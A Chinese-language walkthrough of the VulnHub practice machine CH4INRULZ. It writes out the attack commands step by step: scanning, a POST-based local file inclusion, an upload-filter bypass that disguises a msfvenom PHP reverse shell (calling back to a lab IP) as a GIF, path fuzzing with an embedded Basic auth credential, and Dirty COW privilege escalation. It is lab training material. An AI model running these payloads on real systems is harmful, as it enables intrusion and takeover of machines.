VulnHub——CH4INRULZ

目錄

簡介

信息收集

發現api文件

發現備份文件

漏洞發現

本地文件包含

文件上傳繞過

漏洞利用

未發現上傳頁面時的嘗試

權限提升

總結


簡介

這是VulnHub中非常簡單的一個靶機,通過本地文件包含漏洞結合上傳繞過漏洞獲得Web服務權限,最後通過內核漏洞提升權限獲得root權限。

信息收集

使用fping 192.168.204.0/24 -agq探測局域網內其他主機,發現存在一個132主機,如圖:

然後使用nmap 192.168.204.132 --max-rate 1000 -A掃描常用端口及服務,發現開啓21,22,80,8011端口,分別運行着vsftpd 2.3.5,OpenSSH 5.9p1和Http服務,且Apache版本爲2.2.22,操作系統可能是Debian或Ubuntu,內核可能爲2.6.X,如圖:

然後使用ftp命令測試21端口的匿名用戶,可以成功登錄,但沒有任何文件,且沒有寫權限,如圖:

然後訪問80端口的HTTP服務,發現是網站作者Frank Tope的簡歷,如圖:

然後使用dirbuster掃描網站目錄,發現development目錄需要認證,cgi-bin目錄沒有權限,也未發現php,jsp,bak,zip等文件,如圖:

訪問8011端口的HTTP服務,發現網站運行着開發服務器,源代碼中也沒有任何信息。

發現api文件

然後使用dirbuster掃描8011端口網站目錄,發現一個api目錄,如圖:

然後訪問api目錄,發現存在web_api.php,records_api.php,files_api.php和database_api.php文件,如圖:

然後訪問這些文件,在files_api.php文件中發現如下信息:

發現備份文件

再次使用dirb掃描網站目錄,發現存在index.html.bak文件,如圖: 

 查看內容發現存在加密的密碼信息,如圖:

使用john進行破解,成功獲得密碼,如圖:

漏洞發現

本地文件包含

嘗試爲files_api.php傳入file參數,發現會記錄IP,如圖:

嘗試讀取/etc/passwd文件,沒有成功,如圖:

然後嘗試使用POST方法讀取文件,成功獲取文件內容,發現web服務目錄及普通用戶frank,如圖:

可見這裏存在文件包含漏洞,嘗試讀取遠程文件未成功,說明這裏是本地文件包含。

文件上傳繞過

然後使用密碼成功登錄需要認證的開發者頁面,並發現存在已經開發完成的上傳工具,如圖:

訪問uploader目錄,發現圖片上傳頁面,如圖:

嘗試直接上傳木馬文件,發現對上傳的文件類型做了限制,如圖:

通過修改文件後綴和context type都無法繞過上傳,如圖:

使用msfvenom -p php/reverse_php lhost=192.168.204.139 lport=4444 -o shell.php生成php木馬,如圖:

然後修改文件後綴爲gif,在文件開頭添加GIF98僞裝成gif文件,如圖:

成功上傳,但是沒有顯示上傳的文件所在路徑,如圖:

注意到提示上傳到了“my uploads”路徑,使用frank和uploads生成uppath.txt字典文件,如圖:

 

然後使用wfuzz -c -w /root/uppath.txt --sc 200 -H  "Authorization:Basic ZnJhbms6ZnJhbmshISE=" http://192.168.204.132/development/uploader/FUZZ/shell.jpg進行枚舉,發現上傳的文件在目錄FRANKuploads下,如圖:

漏洞利用

開啓4444端口監聽,使用本地文件包含漏洞包含上傳的shell.gif文件,如圖:

在監聽的端口成功獲得shell,如圖:

未發現上傳頁面時的嘗試

嘗試讀取apache和vsftp日誌文件:

/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/access.log
/var/log/error.log
/var/log/xferlog
/var/log/vsftpd.log

沒有任何回顯,然後枚舉日誌文件也沒成功。使用php://filter/read=convert.base64-encode/resource=/etc/passwd驗證是否啓用php僞協議,如圖:

嘗試讀取web_api.php, records_api.php和database_api.php文件內容失敗,如圖:

嘗試讀取files_api.php文件內容成功,如圖:

說明其他三個文件沒有讀權限或者不存在。解碼之後可以看到files_api.php文件內容,如圖:

嘗試查看/etc/apache2/apache2.conf文件,使用curl -X POST http://192.168.204.132:8011/api/files_api.php -d file=/etc/apache2/apache2.conf,如圖:

 

然後查看envvars 文件,使用curl -X POST http://192.168.204.132:8011/api/files_api.php -d file=/etc/apache2/envvars,如圖:

 

路徑沒有錯誤,看來是沒有讀取權限。

權限提升

查看內核版本發現是2.6.35,如圖:

然後使用searchsploit "Privilege Escalation" | grep "Linux Kernel 2.6."查找提權漏洞利用程序,如圖:

看到Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' PTRACE_POKEDA滿足使用條件,然後將對應的40839.c複製到/var/www/html/下,使用gcc -pthread 40839.c -o dirty -lcrypt編譯。將dirty上傳到目標主機,然後執行./dirty abcd創建一個具有root權限的用戶firefart ,如圖:

然後看到/etc/passwd文件中含有firefart用戶且默認啓動root shell,如圖:

然後使用ssh登錄firefart用戶獲得root權限,如圖:

總結

 滲透思路比較簡單,提權也很容易,尋找入口可能需要花點時間。僅使用dirbuster沒有獲得備份文件,因此可能無法獲得上傳頁面,上傳之後沒有顯示文件所在路徑,枚舉路徑需要花些時間。因此,學會使用多種同類型的工具對滲透測試效率有很大的幫助,通過社會工程學構造字典進行枚舉也會事半功倍。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章